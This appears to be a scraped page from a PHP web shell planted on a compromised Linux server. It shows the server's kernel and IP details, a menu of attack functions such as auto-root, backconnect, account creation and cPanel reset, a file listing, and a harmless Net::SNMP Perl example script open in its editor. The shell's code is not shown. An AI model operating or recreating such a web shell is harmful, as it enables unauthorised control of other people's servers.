Linux server.nvwebsoft.co.in 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Apache
: 162.240.12.249 | : 13.59.195.78
202 Domain
8.1.31
nbspublicschool
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
perl-Net-SNMP-6.0.1 /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
example1.pl
1.11
KB
-rw-r--r--
example2.pl
1.37
KB
-rw-r--r--
example3.pl
2.7
KB
-rw-r--r--
example4.pl
2.95
KB
-rw-r--r--
snmpget.pl
3.24
KB
-rw-r--r--
snmpgetbulk.pl
3.36
KB
-rw-r--r--
snmpgetnext.pl
3.25
KB
-rw-r--r--
snmpset.pl
4.93
KB
-rw-r--r--
snmpwalk.pl
4.94
KB
-rw-r--r--
table.pl
2.51
KB
-rw-r--r--
trap.pl
2.39
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : table.pl
#! /bin/env perl # ============================================================================ # $Id: table.pl,v 6.0 2009/09/09 15:05:33 dtown Rel $ # Copyright (c) 2000-2009 David M. Town <dtown@cpan.org> # All rights reserved. # This program is free software; you may redistribute it and/or modify it # under the same terms as the Perl 5 programming language system itself. # ============================================================================ use strict; use warnings; use Net::SNMP qw( snmp_dispatcher SNMP_PORT ); # Create the SNMP session my ($session, $error) = Net::SNMP->session( -hostname => $ARGV[0] || 'localhost', -community => $ARGV[1] || 'public', -port => $ARGV[2] || SNMP_PORT, -version => 'snmpv2c', ); # Was the session created? if (!defined $session) { printf "ERROR: %s.\n", $error; exit 1; } # iso.org.dod.internet.mgmt.interfaces.ifTable my $OID_ifTable = '1.3.6.1.2.1.2.2'; printf "\n== SNMPv2c blocking get_table(): %s ==\n\n", $OID_ifTable; my $result; if (defined ($result = $session->get_table(-baseoid => $OID_ifTable))) { for ($session->var_bind_names()) { printf "%s => %s\n", $_, $result->{$_}; } print "\n"; } else { printf "ERROR: %s.\n\n", $session->error(); } $session->close(); ### ## Now a non-blocking example ### printf "\n== SNMPv2c non-blocking get_table(): %s ==\n\n", $OID_ifTable; # Blocking and non-blocking objects cannot exist at the # same time. We must clear the reference to the blocking # object or the creation of the non-blocking object will # fail. $session = undef; # Create the non-blocking SNMP session ($session, $error) = Net::SNMP->session( -hostname => $ARGV[0] || 'localhost', -community => $ARGV[1] || 'public', -port => $ARGV[2] || SNMP_PORT, -nonblocking => 1, -version => 'snmpv2c', ); # Was the session created? if (!defined $session) { printf "ERROR: %s.\n", $error; exit 1; } if (!defined $session->get_table(-baseoid => $OID_ifTable, -callback => \&print_results_cb)) { printf "ERROR: %s.\n", $session->error(); } # Start the event loop snmp_dispatcher(); print "\n"; exit 0; sub print_results_cb { my ($session) = @_; if (!defined $session->var_bind_list()) { printf "ERROR: %s.\n", $session->error(); } else { for ($session->var_bind_names()) { printf "%s => %s\n", $_, $session->var_bind_list()->{$_}; } } return; } # ============================================================================
Close